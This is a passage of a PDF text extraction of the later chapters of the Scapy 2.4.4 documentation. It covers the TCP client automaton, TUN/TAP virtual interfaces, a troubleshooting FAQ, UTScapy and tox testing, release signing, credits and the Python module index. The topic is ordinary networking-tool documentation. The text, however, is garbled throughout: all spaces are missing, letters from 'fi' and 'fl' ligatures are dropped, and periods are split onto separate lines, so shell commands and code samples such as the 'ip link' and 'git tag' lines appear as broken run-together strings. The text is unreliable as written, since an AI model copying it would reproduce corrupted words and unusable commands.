com",80))>>>ss=StreamSocket(s,Raw)>>>ss.
sr1(Raw("GET/\r\n"))Beginemission:Finishedtosend1packets.
*Received1packets,got1answers,remaining0packets\r\n.
.
.
>Usingkernel'sTCPstackmeansyou'lldependonyourlocalrewall'srulesandthekernel'sroutingtable.
15.
2Scapy'sTCPclientautomatonScapyprovidesasimpleTCPclientautomaton(noretransmits,noSAck,notimestamps,etc.
).
Automatacanprovideinputandoutputintheshapeofasupersocket(seeAutomata'sdocumentation).
HereishowtouseScapy'sTCPclientautomaton(needsatleastScapyv2.
1.
1).
Note:TCP_client.
tcplinkisaSuperSocketsubclass,thereforeallitsfunctions(.
sniff(),.
.
.
)areavailable.
169ScapyDocumentation,Release2.
4.
4.
>>>s=TCP_client.
tcplink(Raw,"www.
test.
com",80)>>>s.
send("GET/\r\n")7>>>s.
recv()\r\n.
.
.
>Note:specicallyforHTTP,youcouldpassHTTPinsteadofRaw.
MoreinformationoverHTTPinScapy.
15.
3UseexternalprojectsmuXTCP-WritingyourownexibleUserlandTCP/IPStack-NinjaStyle!
!
!
Integratingpynids170Chapter15.
TCPCHAPTERSIXTEENTUN/TAPINTERFACESNote:ThismoduleonlyworksonBSD,LinuxandmacOS.
TUN/TAPletsyoucreatevirtualnetworkinterfacesfromuserspace.
Therearetwotypesofdevices:TUNdevicesOperatesatLayer3(IP),andisgenerallylimitedtooneprotocol.
TAPdevicesOperatesatLayer2(Ether),andallowsyoutouseanyLayer3protocol(IP,IPv6,IPX,etc.
)16.
1RequirementsFreeBSDRequirestheif_tapandif_tunkernelmodules.
Seetap(4)andtun(4)manualpagesformoreinformation.
LinuxLoadthetunkernelmodule:#modprobetunudevnormallyhandlesthecreationofdevicenodes.
Seenetworking/tuntap.
txtintheLinuxkerneldocumentationformoreinformation.
macOSOnmacOS10.
14andearlier,youneedtoinstalltuntaposx.
macOS10.
14.
5andlaterwillwarnaboutthetuntaposxkextsnotbeingnotarised,butthisworksbecauseitwasbuiltbefore2019-04-07.
OnmacOS10.
15andlater,youneedtouseanotarizedbuildoftuntaposx.
Tunnelblick(Open-VPNclient)containsanotarizedbuildoftuntaposxwhichcanbeextracted.
Note:OnmacOS10.
13andlater,youneedtoexplicitlyapproveloadingeachthird-partykextforthersttime.
171ScapyDocumentation,Release2.
4.
4.
16.
2UsingTUN/TAPinScapyTip:UsingTUN/TAPgenerallyrequiresrunningScapy(andtheseutilities)asroot.
TunTapInterfaceletsyoueasilycreateanewdevice:>>>t=TunTapInterface('tun0')You'llthenneedtobringtheinterfaceup,andassignanIPaddressinanotherterminal.
BecauseTUNisalayer3connection,itactsasapoint-to-pointlink.
We'llassigntheseparameters:localaddress(foryourmachine):192.
0.
2.
1remoteaddress(forScapy):192.
0.
2.
2OnLinux,youwoulduse:sudoiplinksettun0upsudoipaddradd192.
0.
2.
1peer192.
0.
2.
2devtun0OnBSDandmacOS,use:sudoifconfigtun0upsudoifconfigtun0192.
0.
2.
1192.
0.
2.
2Now,nothingwillhappenwhenyoupingthoseaddresses–you'llneedtomakeScapyrespondtothattrafc.
TunTapInterfaceworksthesameasaSuperSocket,soletssetupanAnsweringMachinetorespondtoICMPecho-request:>>>am=t.
am(ICMPEcho_am)>>>am()Now,youcanpingScapyinanotherterminal:YoushouldseethosepacketsshowupinScapy:>>>am()Replying192.
0.
2.
1to192.
0.
2.
2Replying192.
0.
2.
1to192.
0.
2.
2Replying192.
0.
2.
1to192.
0.
2.
2Youmighthavenoticedthatdidn'tcongureScapywithanyIPaddress.
.
.
andthere'satricktothis:ICMPEcho_amswapsthesourceanddestinationeldsofanyEtherandIPheadersontheICMPpacketthatitreceives.
Asaresult,itactuallyrespondstoanyIPaddress.
YoucanstoptheICMPEcho_amAnsweringMachinewith^C.
WhenyoucloseScapy,thetun0interfacewillautomaticallydisappear.
172Chapter16.
TUN/TAPInterfacesScapyDocumentation,Release2.
4.
4.
16.
3TunTapInterfacereferenceclassTunTapInterface(SimpleSocket)AsockettoactastheremotesideofaTUN/TAPinterface.
__init__(iface:Text[,mode_tun][,strip_packet_info=True][,default_read_size=MTU])Parametersiface(Text)–Thenameoftheinterfacetouse,eg:tun0.
OnBSDandmacOS,thismuststartwitheithertunortap,andhaveacorresponding/dev/node(eg:/dev/tun0).
OnLinux,thiswillbetruncatedto16bytes.
mode_tun(bool)–IfTrue,createasTUNinterface(layer3).
IfFalse,createsaTAPinterface(layer2).
Ifnotsupplied,attemptstodetectfromtheifaceparameter.
strip_packet_info(bool)–IfTrue(default),anyTunPacketInfowillbestrippedfromthepacket(soyougetEtherorIP).
OnlyLinuxTUNinterfaceshaveTunPacketInfoavailable.
ThishasnoeffectforinterfacesthatdonothaveTunPacketInfoavail-able.
default_read_size(int)–SetsthedefaultsizethatisreadbySuperSocket.
raw_recv()andSuperSocket.
recv().
Thisde-faultstoscapy.
data.
MTU.
TunTapInterfacealwaysaddsoverheadforTunPacketInfohead-ers,ifrequired.
classTunPacketInfo(Packet)Abstractclassusedtostacklayer3protocolsonaplatform-specicheader.
SeeLinuxTunPacketInfoforanexample.
guess_payload_class(payload)Thedefaultimplementationexpectstheeldprototobedeclared,withavaluefromscapy.
data.
ETHER_TYPES.
16.
3.
1Linux-specicstructuresclassLinuxTunPacketInfo(TunPacketInfo)PacketheaderusedforLinuxTUNpackets.
Thisisstructtun_pi,declaredinlinux/if_tun.
h.
flagsFlagstosetonthepacket.
OnlyTUN_VNET_HDRissupported.
protoLayer3protocolnumber,perscapy.
data.
ETHER_TYPES.
16.
3.
TunTapInterfacereference173ScapyDocumentation,Release2.
4.
4.
UsedbyTunTapPacketInfo.
guess_payload_class().
classLinuxTunIfReq(Packet)Internal"packet"usedforTUNSETIFFrequestsonLinux.
Thisisstructifreq,declaredinlinux/if.
h.
174Chapter16.
TUN/TAPInterfacesCHAPTERSEVENTEENTROUBLESHOOTING17.
1FAQ17.
1.
1Ican'tsniff/injectpacketsinmonitormode.
Theusemonitormodevariesgreatlydependingontheplatform.
Windowsor*BSDorconf.
use_pcap=TruelibpcapmustbecalleddifferentlybyScapyinorderforittocreatethesocketsinmonitormode.
Youwillneedtopassthemonitor=Truetoanycallsthatopenasocket(send,sniff.
.
.
)ortoaScapysocketthatyoucreateyourself(conf.
L2Socket.
.
.
)NativeLinux(withpcapdisabled):Youshouldsettheinterfaceinmonitormodeonyourown.
Scapyprovidesutilitaryfunctions:set_iface_monitorandget_iface_mode(linuxonly),thatmaybeused(theydosystemcallstoiwconfigandwillrestarttheadapter).
IfyouareusingNpcap:pleasenotethatNpcapnpcap-0.
9983brokethe802.
11utilbackin2019.
Ithasyettobexed(asofNpcap0.
9994)sointhemeantime,usenpcap-0.
9982.
exeNote:manyadaptersdonotsupportmonitormode,especiallyonWindows,ormayincorrectlyreporttheheaders.
SeetheWiresharkdocaboutthisWemakeourbesttomakethiswork,ifyouradapterworkswithWiresharkforinstance,butnotwithScapy,feelfreetoreportanissue.
17.
1.
2MyTCPconnectionsareresetbyScapyorbymykernel.
ThekernelisnotawareofwhatScapyisdoingbehindhisback.
IfScapysendsaSYN,thetargetreplieswithaSYN-ACKandyourkernelseesit,itwillreplywithaRST.
Topreventthis,uselocalrewallrules(e.
g.
NetFilterforLinux).
Scapydoesnotmindaboutlocalrewalls.
175ScapyDocumentation,Release2.
4.
4.
17.
1.
3Ican'tping127.
0.
0.
1.
Scapydoesnotworkwith127.
0.
0.
1orontheloop-backinterfaceTheloopbackinterfaceisaveryspecialinterface.
Packetsgoingthroughitarenotreallyassembledanddisassembled.
Thekernelroutesthepackettoitsdestinationwhileitisstillstoredaninternalstructure.
Whatyouseewithtcpdump-iloisonlyafaketomakeyouthinkeverythingisnormal.
ThekernelisnotawareofwhatScapyisdoingbehindhisback,sowhatyouseeontheloopbackinterfaceisalsoafake.
Exceptthisonedidnotcomefromalocalstructure.
Thusthekernelwillneverreceiveit.
Inordertospeaktolocalapplications,youneedtobuildyourpacketsonelayerupper,usingaPF_INET/SOCK_RAWsocketinsteadofaPF_PACKET/SOCK_RAW(oritsequivalentonothersys-temsthanLinux):>>>conf.
L3socket>>>conf.
L3socket=L3RawSocket>>>sr1(IP(dst="127.
0.
0.
1")/ICMP())>17.
1.
4BPFltersdonotwork.
I'monappplinkThisisaknownbug.
BPFltersmustcompiledwithdifferentoffsetsonppplinks.
Itmayworkifyouuselibpcap(whichwillbeusedtocompiletheBPFlter)insteadofusingnativelinuxsupport(PF_PACKETsockets).
17.
1.
5traceroute()doesnotwork.
I'monappplinkThisisaknownbug.
SeeBPFltersdonotwork.
I'monappplinkToworkaroundthis,usenofilter=1:>>>traceroute("target",nofilter=1)17.
1.
6Graphsareugly/fontsaretoobig/imageistruncated.
Quickx:usepngformat:>>>x.
graph(format="png")UpgradetolatestversionofGraphViz.
TryprovidingdifferentDPIoptions(50,70,75,96,101,125,forinstance):>>>x.
graph(options="-Gdpi=70")Ifitworks,youcanmakeitpermanenent:>>>conf.
prog.
dot="dot-Gdpi=70"Youcanalsoputthislineinyour~/.
scapy_startup.
pyle176Chapter17.
TroubleshootingScapyDocumentation,Release2.
4.
4.
17.
2GettinghelpCommonproblemsareansweredintheFAQ.
Ifyouneedadditionalhelp,pleasecheckout:TheGitterchannelTheGitHubrepositoryThere'salsoalowtrafcmailinglistatscapy.
ml(at)secdev.
org(archive,RSS,NNTP).
Sub-scribebysendingamailtoscapy.
ml-subscribe(at)secdev.
org.
Youareencouragedtosendquestions,bugreports,suggestions,ideas,coolusagesofScapy,etc.
17.
2.
Gettinghelp177ScapyDocumentation,Release2.
4.
4.
178Chapter17.
TroubleshootingCHAPTEREIGHTEENSCAPYDEVELOPMENT18.
1ProjectorganizationScapydevelopmentusestheGitversioncontrolsystem.
Scapy'sreferencerepositoryisathttps://github.
com/secdev/scapy/.
ProjectmanagementisdonewithGithub.
ItprovidesafreelyeditableWiki(pleasecontribute!
)thatcanreferencetickets,changesets,lesfromtheproject.
Italsoprovidesaticketmanagementservicethatisusedtoavoidforgettingpatchesorbugs.
18.
2HowtocontributeFoundabuginScapyAddaticket.
Improvethisdocumentation.
Programanewlayerandshareitonthemailinglist,orcreateapullrequest.
Contributenewregressiontests.
Uploadpacketsamplesfornewprotocolsonthepacketsamplespage.
18.
3ImprovethedocumentationThedocumentationcanbeimprovedinseveralwaysby:Addingdocstringstothesourcecode.
Addingusageexamplestothedocumentation.
18.
3.
1AddingDocstringsTheScapysourcecodehasfewexplanationsofwhatafunctionisdoing.
Adocstring,byaddingexpla-nationandexpectedinputandoutputparameters,helpssavingtimeforboththelayerdevelopersandtheuserslookingforadvancedfeatures.
Anexampleofdocstringfromthescapy.
fields.
FlagsFieldclass:179ScapyDocumentation,Release2.
4.
4.
classFlagsField(BitField):"""HandleFlagtypefieldMakesureallyourflagshavealabelExample:>>>fromscapy.
packetimportPacket>>>classFlagsTest(Packet):fields_desc=[FlagsField("flags",0,8,["f0","f1","f2",→"f3","f4","f5","f6","f7"])]>>>FlagsTest(flags=9).
show2()###[FlagsTest]###flags=f0+f3>>>FlagsTest(flags=0).
show2().
strip()###[FlagsTest]###flags=:paramname:field'sname:paramdefault:defaultvalueforthefield:paramsize:numberofbitsinthefield:paramnames:(listordict)labelforeachflag,LeastSignificantBit→tag'snameiswrittenfirst"""Itwillcontainashortone-linedescriptionoftheclassfollowedbysomeindicationsaboutitsusage.
Youcanaddausageexampleifitmakessenseusingthedoctestformat.
Finally,theclassicpythonsignaturecanbeaddedfollowingthesphinxdocumentation.
Thistaskworksinpairwithwritingnonregressionunittests.
18.
3.
2DocumentationAwaytoimprovethedocumentationcontentisbykeepingituptodatewiththelatestversionofScapy.
YoucanalsohelpbyaddingusageexamplesofyourownordirectlygatheredfromexistingonlineScapypresentations.
18.
4TestingwithUTScapy18.
4.
1WhatisUTScapyUTScapyisasmallPythonprogramthatreadsacampaignoftests,runsthecampaignwithScapyandgeneratesareportindicatingteststatus.
Thereportmaybeinoneoffourformats,text,ansi,HTMLorLaTeX.
ThreebasictestcontainersexistwithUTScapy,aunittest,atestsetandatestcampaign.
AunittestisalistofScapycommandsthatwillberunbyScapyoraderivedworkofScapy.
Evaluationofthelastcommandintheunittestwilldeterminetheendresultoftheindividualunittest.
Atestsetisagroupofunittestswithsomeassociation.
Atestcampaignconsistsofoneormoretestsets.
Testsetsandunittestscanbegivenkeywordstoformlogicalgroupings.
Whenrunningacampaign,testsmaybeselectedbykeyword.
Thisallowstheusertoruntestswithinthedesiredgrouping.
Foreachunittest,testsetandcampaign,aCRC32ofthetestiscalculatedanddisplayedasasignatureofthattest.
Thistestsignatureissufcienttodeterminethattheactualtestrunwastheoneexpectedand180Chapter18.
ScapydevelopmentScapyDocumentation,Release2.
4.
4.
notonethathasbeenmodied.
IncaseyourdealingwithevilpeoplethattrytomodifyorcorruptthelewithoutchangingtheCRC32,aglobalSHA1iscomputedonthewholele.
18.
4.
2SyntaxofaTestCampaignTable1showsthesyntaxindicatorsthatUTScapyislookingfor.
Thesyntaxspeciermustappearastherstcharacterofeachlineofthetextlethatdenesthetest.
TextdescriptionsthatfollowthesyntaxspecierareargumentsinterpretedbyUTScapy.
LinesthatappearwithoutaleadingsyntaxspecierwillbetreatedasPythoncommands,providedtheyappearinthecontextofaunittest.
LineswithoutasyntaxspecierthatappearoutsidethecorrectcontextwillberejectedbyUTScapyandawarningwillbeissued.
SyntaxSpecierDenition'%'Givethetestcampaign'sname.
'+'Announceanewtestset.
'='Announceanewunittest.
'~'Announcekeywordsforthecurrentunittest.
'*'Denotesacommentthatwillbeincludedinthereport.
'#'Testcaseannotationsthatarediscardedbytheinterpreter.
Table1-UTScapySyntaxSpeciersCommentsplacedinthetestreporthaveacontext.
Eachcommentwillbeassociatedwiththelastdenedtestcontainer-beitanindividualunittest,atestsetoratestcampaign.
Multiplecommentsassociatedwithaparticularcontainerwillbeconcatenatedtogetherandwillappearinthereportdirectlyafterthetestcontainerannouncement.
Generalcommentsforatestleshouldappearbeforeannouncingatestcampaign.
Forcommentstobeassociatedwithatestcampaign,theymustappearafterthedeclarationofthetestcampaignbutbeforeanytestsetorunittest.
Commentsforatestsetshouldappearbeforethedenitionoftheset'srstunittest.
Thegenericformatforatestcampaignisshowninthefollowingtable:%TestCampaignName*Commentdescribingthiscampaign+TestSet1*commentsfortestset1=UnitTest1~keywords*Commentsforunittest1#Pythonstatementsfollowa=1printaa==1PythonstatementsareidentiedbythelackofadenedUTScapysyntaxspecier.
ThePythonstate-mentsarefeddirectlytothePythoninterpreterasifoneisoperatingwithintheinteractiveScapyshell(interact).
Looping,iterationandconditionalsarepermissiblebutmustbeterminatedbyablankline.
Atestsetmaybecomprisedofmultipleunittestsandmultipletestsetsmaybedenedforeachcampaign.
Itisevenpossibletohavemultipletestcampaignsinaparticulartestdenitionle.
Theuseofkeywordsallowstestingofsubsetsoftheentirecampaign.
Forexample,duringthedevelopmentofa18.
4.
TestingwithUTScapy181ScapyDocumentation,Release2.
4.
4.
testcampaign,theusermaywishtomarknewtestsunderdevelopmentwiththekeyword"debug".
Oncethetestsrunsuccessfullytotheirdesiredconclusion,thekeyword"debug"couldberemoved.
Keywordssuchas"regression"or"limited"couldbeusedaswell.
ItisimportanttonotethatUTScapyusesthetruthvaluefromthelastPythonstatementastheindicatorastowhetheratestpassedorfailed.
Multiplelogicaltestsmayappearonthelastline.
Iftheresultis0orFalse,thetestfails.
Otherwise,thetestpasses.
Useofanassert()statementcanforceevaluationofintermediatevaluesifneeded.
ThesyntaxforUTScapyisshowninTable3-UTScapycommandlinesyntax:[root@localhostscapy]#.
/UTscapy.
py-hUsage:UTscapy[-mmodule][-f{text|ansi|HTML|LaTeX}][-ooutput_file][-ttestfile][-kkeywords[-k.
.
.
]][-Kkeywords[-K.
.
.
]][-l][-d|-D][-F][-q[q]]-l:generatelocalfiles-F:expandonlyfailedtests-d:dumpcampaign-D:dumpcampaignandstop-C:don'tcalculateCRCandSHA-q:quietmode-qq:[silentmode]-n:onlytestswhosenumbersaregiven(eg.
1,3-7,12)-m:additionalmoduletoputinthenamespace-k,,.
.
.
:includeonlytestswithoneofthosekeywords→(canbeusedmanytimes)-K,,.
.
.
:removetestswithoneofthosekeywords(canbe→usedmanytimes)Table3-UTScapycommandlinesyntaxAllargumentsareoptional.
Argumentsthathavenoassociatedargumentvaluemaybestrungtogether(i.
e.
-lqF).
Ifnotestleisspecied,thetestdenitioncomesfrom.
Similarly,ifnooutputleisspecieditisdirectedto.
Thedefaultoutputformatis"ansi".
Table4liststhearguments,theassociatedargumentvalueandtheirmeaningtoUTScapy.
182Chapter18.
ScapydevelopmentScapyDocumentation,Release2.
4.
4.
Ar-gu-mentArgu-mentValueMeaningtoUTScapy-ttestleInputtestledeningtestcampaign(default=)-oout-put_leFileforoutputoftestcampaignresults(default=)-ftestansi,HTML,LaTeX,Formatoutoutputreport(default=ansi)-lGeneratereportassociatedleslocally.
ForHTML,generatesJavaScriptandthestylesheet-FFailedtestcaseswillbeinitiallyexpandedbydefaultinHTMLoutput-dPrintaterselistingofthecampaignbeforeexecutingthecampaign-DPrintaterselistingofthecampaignandstop.
Donotexecutecampaign-CDonotcalculatetestsignatures-qDonotupdatetestprogresstothescreenastestsareexecuted-qqSilentmode-ntest-numExecuteonlythosetestslistedbynumber.
Testnumbersmayberetrievedusing–dor–D.
Testsmaybelistedasacommaseparatedlistandmayincluderanges(e.
g.
1,3-7,12)-mmoduleLoadmodulebeforeexecutingtests.
UsefulintestingderivedworksofScapy.
Note:Derivedworksthatareintendedtoexecuteas"__main__"willnotbeinvokedbyUTScapyas"__main__".
-kkw1,kw2,.
.
.
Includeonlytestswithkeyword"kw1".
Multiplekeywordsmaybespecied.
-Kkw1,kw2,.
.
.
Excludetestswithkeyword"kw1".
Multiplekeywordsmaybespecied.
Table4-UTScapyparametersTable5showsasimpletestcampaignwithmultipletestssetdenitions.
Additionally,keywordsarespeciedthatallowalimitednumberoftestcasestobeexecuted.
Noticetheuseoftheassert()statementintest3and5usedtocheckintermediateresults.
Tests2and5willfailbydesign.
%ExampleTestCampaign#Commentdescribingthiscampaign##Torunthiscampaign,try:#.
/UTscapy.
py-texample_campaign.
txt-fhtml-oexample_campaign.
html-→F#*Thiscommentisassociatedwiththetestcampaignandwillappear*intheproducedoutput.
+TestSet1=UnitTest1~test_set_1simplea=1printa(continuesonnextpage)18.
4.
TestingwithUTScapy183ScapyDocumentation,Release2.
4.
4.
(continuedfrompreviouspage)=Unittest2~test_set_1simple*thistestwillfailb=2a==b=Unittest3~test_set_1hardera=1b=2c="hello"assert(a!
=b)c=="hello"+TestSet2=UnitTest4~test_set_2harderb=2d=bdisb=UnitTest5~test_set_2harderhardesta=2b=3d=4e=(a*b)**d#ThefollowingstatementevaluatestoFalsebutisnotlast;continuee==6#assertevaluatestoFalse;stoptestandfailassert(e==7)e==1296=UnitTest6~test_set_2hardestprintee==1296ToseeanexamplethatistargetedtoScapy,gotohttp://www.
secdev.
org/projects/UTscapy.
Cutandpastetheexampleatthebottomofthepagetotheledemo_campaign.
txtandrunUTScapyagainstit:.
/test/run_tests-tdemo_campaign.
txt-fhtml-odemo_campaign.
html-F-lExaminetheoutputgeneratedinledemo_campaign.
html.
184Chapter18.
ScapydevelopmentScapyDocumentation,Release2.
4.
4.
18.
4.
3UsingtoxtotestScapyThetoxcommandsimpliestestingScapy.
ItwillautomaticallycreatevirtualenvironmentsandinstallthemandatoryPythonmodules.
Forexample,onafreshDebianinstallation,thefollowingcommandwillstartallScapyunittestsauto-maticallywithoutanyexternaldependency:tox---Kvcan_socket-Ktcpdump-Ktshark-Knmap-Kmanufdb-KcryptoNote:ThiswilltriggertheunittestsonallavailablePythonversionsunlessyouspecifya-eoption.
SeebelowForyourconvenience,andforpackagemaintainers,weprovideautilthatruntoxononlyasingle(defaultPython)environment,againwithnoexternaldependencies:.
/test/run_tests18.
4.
4VIMsyntaxhighlightingfor.
utslesCopyalllesfromscapy/doc/syntax/vim_uts_syntax/ftdetectandscapy/doc/syntax/vim_uts_syntax/syntaxinto~/.
vim/andpreservethefolderstructure.
Ifftdetect/letype.
vimalreadyexists,youmightneedtomodifythislemanually.
Thesecommandswilldotheinstallation:cp-i-vftdetect/filetype.
vim$HOME/.
vim/ftdetect/filetype.
vimcp-i-vftdetect/uts.
vim$HOME/.
vim/ftdetect/uts.
vimcp-i-vsyntax/uts.
vim$HOME/.
vim/syntax/uts.
vimAlternatively,ainstallscriptinscapy/doc/syntax/vim_uts_syntax/doestheinstallationau-tomatically.
18.
5ReleasingScapyUnderthehood,aScapyreleaseisrepresentedasasignedgittag.
Priortosigningacommit,themaintainerthatwishestocreateareleasemust:checkthatthecorrespondingTravisandAppVeyortestspassrun.
/run_scapylocallyruntoxrununittestsonBSDusingtheVagrantsetupfromscapy/doc/vagrant_ci/Takingv2.
4.
3asanexample,thefollowingcommandscanbeusedtosignandpublishtherelease:gittag-sv2.
4.
3-m"Release2.
4.
3"gittagv2.
4.
3-vgitpush--tags18.
5.
ReleasingScapy185ScapyDocumentation,Release2.
4.
4.
ReleaseCandidates(RC)couldalsobedone.
Forexample,therstRCwillbetaggedv2.
4.
3rc1andthemessage2.
4.
3ReleaseCandidate#1.
PriortouploadingthereleasetoPyPi,theauthor_emailinsetup.
pymustbechangedtotheaddressofthemaintainerperformingtherelease.
Thefollowingcommandscanthenbeused:python3setup.
pysdisttwinecheckdist/scapy-2.
4.
3.
tar.
gztwineuploaddist/scapy-2.
4.
3.
tar.
gz186Chapter18.
ScapydevelopmentCHAPTERNINETEENCREDITSPhilippeBiondiisScapy'sauthor.
Hehasalsowrittenmostofthedocumentation.
PierreLalet,GabrielPotter,GuillaumeValadonarethecurrentmostactivemaintainersandcon-tributors.
FredRaynalwrotethechapteronbuildinganddissectingpackets.
PeterKacherginskycontributedseveraltutorialsections,one-linersandrecipes.
DirkLossintegratedandrestructuredtheexistingdocstomakethisbook.
187ScapyDocumentation,Release2.
4.
4.
188Chapter19.
CreditsPYTHONMODULEINDEXsscapy,scapy.
ansmachine,scapy.
as_resolvers,scapy.
asn1,scapy.
asn1.
asn1,scapy.
asn1.
ber,scapy.
asn1.
mib,scapy.
asn1fields,scapy.
asn1packet,scapy.
automaton,scapy.
autorun,scapy.
base_classes,scapy.
compat,scapy.
config,scapy.
consts,scapy.
contrib,scapy.
contrib.
altbeacon,scapy.
contrib.
aoe,scapy.
contrib.
automotive,scapy.
contrib.
automotive.
bmw,scapy.
contrib.
automotive.
bmw.
definitions,scapy.
contrib.
automotive.
bmw.
hsfz,scapy.
contrib.
automotive.
ccp,scapy.
contrib.
automotive.
doip,scapy.
contrib.
automotive.
ecu,scapy.
contrib.
automotive.
enumerator,scapy.
contrib.
automotive.
gm,scapy.
contrib.
automotive.
gm.
gmlan,scapy.
contrib.
automotive.
gm.
gmlanutils,scapy.
contrib.
automotive.
obd,scapy.
contrib.
automotive.
obd.
iid,scapy.
contrib.
automotive.
obd.
iid.
iids,scapy.
contrib.
automotive.
obd.
mid,scapy.
contrib.
automotive.
obd.
mid.
mids,scapy.
contrib.
automotive.
obd.
obd,scapy.
contrib.
automotive.
obd.
packet,scapy.
contrib.
automotive.
obd.
pid,scapy.
contrib.
automotive.
obd.
pid.
pids,scapy.
contrib.
automotive.
obd.
pid.
pids_00_1F,scapy.
contrib.
automotive.
obd.
pid.
pids_20_3F,scapy.
contrib.
automotive.
obd.
pid.
pids_40_5F,scapy.
contrib.
automotive.
obd.
pid.
pids_60_7F,scapy.
contrib.
automotive.
obd.
pid.
pids_80_9F,scapy.
contrib.
automotive.
obd.
pid.
pids_A0_C0,scapy.
contrib.
automotive.
obd.
scanner,scapy.
contrib.
automotive.
obd.
services,scapy.
contrib.
automotive.
obd.
tid,scapy.
contrib.
automotive.
obd.
tid.
tids,scapy.
contrib.
automotive.
someip,scapy.
contrib.
automotive.
uds,scapy.
contrib.
automotive.
volkswagen,scapy.
contrib.
automotive.
volkswagen.
definitioscapy.
contrib.
automotive.
xcp,scapy.
contrib.
automotive.
xcp.
cto_commands_masscapy.
contrib.
automotive.
xcp.
cto_commands_sla189ScapyDocumentation,Release2.
4.
4.
scapy.
contrib.
automotive.
xcp.
scanner,scapy.
contrib.
automotive.
xcp.
utils,scapy.
contrib.
automotive.
xcp.
xcp,scapy.
contrib.
avs,scapy.
contrib.
bfd,scapy.
contrib.
bgp,scapy.
contrib.
bier,scapy.
contrib.
bp,scapy.
contrib.
carp,scapy.
contrib.
cdp,scapy.
contrib.
chdlc,scapy.
contrib.
coap,scapy.
contrib.
concox,scapy.
contrib.
dce_rpc,scapy.
contrib.
diameter,scapy.
contrib.
dtp,scapy.
contrib.
eddystone,scapy.
contrib.
eigrp,scapy.
contrib.
enipTCP,scapy.
contrib.
erspan,scapy.
contrib.
ethercat,scapy.
contrib.
etherip,scapy.
contrib.
exposure_notification,scapy.
contrib.
geneve,scapy.
contrib.
gtp,scapy.
contrib.
gtp_v2,scapy.
contrib.
homeplugav,scapy.
contrib.
homepluggp,scapy.
contrib.
homeplugsg,scapy.
contrib.
http2,scapy.
contrib.
ibeacon,scapy.
contrib.
icmp_extensions,scapy.
contrib.
ife,scapy.
contrib.
igmp,scapy.
contrib.
igmpv3,scapy.
contrib.
ikev2,scapy.
contrib.
isis,scapy.
contrib.
isotp,scapy.
contrib.
lacp,scapy.
contrib.
ldp,scapy.
contrib.
lldp,scapy.
contrib.
loraphy2wan,scapy.
contrib.
ltp,scapy.
contrib.
mac_control,scapy.
contrib.
macsec,scapy.
contrib.
modbus,scapy.
contrib.
mount,scapy.
contrib.
mpls,scapy.
contrib.
mqtt,scapy.
contrib.
mqttsn,scapy.
contrib.
nfs,scapy.
contrib.
nlm,scapy.
contrib.
nsh,scapy.
contrib.
oncrpc,scapy.
contrib.
opc_da,scapy.
contrib.
openflow,scapy.
contrib.
openflow3,scapy.
contrib.
ospf,scapy.
contrib.
pfcp,scapy.
contrib.
pim,scapy.
contrib.
pnio,scapy.
contrib.
pnio_dcp,scapy.
contrib.
pnio_rpc,scapy.
contrib.
portmap,scapy.
contrib.
ppi_cace,scapy.
contrib.
ppi_geotag,scapy.
contrib.
ripng,scapy.
contrib.
roce,scapy.
contrib.
rpl,scapy.
contrib.
rpl_metrics,scapy.
contrib.
rsvp,scapy.
contrib.
rtr,scapy.
contrib.
sdnv,scapy.
contrib.
sebek,scapy.
contrib.
send,scapy.
contrib.
skinny,scapy.
contrib.
socks,scapy.
contrib.
spbm,scapy.
contrib.
tacacs,scapy.
contrib.
tzsp,scapy.
contrib.
ubberlogger,scapy.
contrib.
vqp,scapy.
contrib.
vtp,scapy.
contrib.
wireguard,scapy.
contrib.
wpa_eapol,scapy.
dadict,scapy.
data,scapy.
error,scapy.
extlib,scapy.
fields,scapy.
interfaces,scapy.
layers,scapy.
layers.
bluetooth,scapy.
layers.
bluetooth4LE,scapy.
layers.
can,scapy.
layers.
clns,scapy.
layers.
dhcp,190PythonModuleIndexScapyDocumentation,Release2.
4.
4.
scapy.
layers.
dhcp6,scapy.
layers.
dns,scapy.
layers.
dot11,scapy.
layers.
dot15d4,scapy.
layers.
eap,scapy.
layers.
gprs,scapy.
layers.
hsrp,scapy.
layers.
http,scapy.
layers.
inet,scapy.
layers.
inet6,scapy.
layers.
ipsec,scapy.
layers.
ir,scapy.
layers.
isakmp,scapy.
layers.
l2,scapy.
layers.
l2tp,scapy.
layers.
llmnr,scapy.
layers.
lltd,scapy.
layers.
mgcp,scapy.
layers.
mobileip,scapy.
layers.
netbios,scapy.
layers.
netflow,scapy.
layers.
ntp,scapy.
layers.
pflog,scapy.
layers.
ppi,scapy.
layers.
ppp,scapy.
layers.
pptp,scapy.
layers.
radius,scapy.
layers.
rip,scapy.
layers.
rtp,scapy.
layers.
sctp,scapy.
layers.
sixlowpan,scapy.
layers.
skinny,scapy.
layers.
smb,scapy.
layers.
smb2,scapy.
layers.
snmp,scapy.
layers.
tftp,scapy.
layers.
tls,scapy.
layers.
tls.
all,scapy.
layers.
tls.
automaton,scapy.
layers.
tls.
automaton_cli,scapy.
layers.
tls.
automaton_srv,scapy.
layers.
tls.
basefields,scapy.
layers.
tls.
cert,scapy.
layers.
tls.
crypto,scapy.
layers.
tls.
crypto.
all,scapy.
layers.
tls.
crypto.
cipher_aead,scapy.
layers.
tls.
crypto.
cipher_block,scapy.
layers.
tls.
crypto.
cipher_stream,scapy.
layers.
tls.
crypto.
ciphers,scapy.
layers.
tls.
crypto.
common,scapy.
layers.
tls.
crypto.
compression,scapy.
layers.
tls.
crypto.
groups,scapy.
layers.
tls.
crypto.
h_mac,scapy.
layers.
tls.
crypto.
hash,scapy.
layers.
tls.
crypto.
hkdf,scapy.
layers.
tls.
crypto.
kx_algs,scapy.
layers.
tls.
crypto.
pkcs1,scapy.
layers.
tls.
crypto.
prf,scapy.
layers.
tls.
crypto.
suites,scapy.
layers.
tls.
extensions,scapy.
layers.
tls.
handshake,scapy.
layers.
tls.
handshake_sslv2,scapy.
layers.
tls.
keyexchange,scapy.
layers.
tls.
keyexchange_tls13,scapy.
layers.
tls.
record,scapy.
layers.
tls.
record_sslv2,scapy.
layers.
tls.
record_tls13,scapy.
layers.
tls.
session,scapy.
layers.
tls.
tools,scapy.
layers.
tuntap,scapy.
layers.
usb,scapy.
layers.
vrrp,scapy.
layers.
vxlan,scapy.
layers.
x509,scapy.
layers.
zigbee,scapy.
main,scapy.
packet,scapy.
pipetool,scapy.
plist,scapy.
pton_ntop,scapy.
route,scapy.
route6,scapy.
scapypipes,scapy.
sendrecv,scapy.
sessions,scapy.
supersocket,scapy.
themes,scapy.
utils,scapy.
utils6,scapy.
volatile,PythonModuleIndex191ScapyDocumentation,Release2.
4.
4.
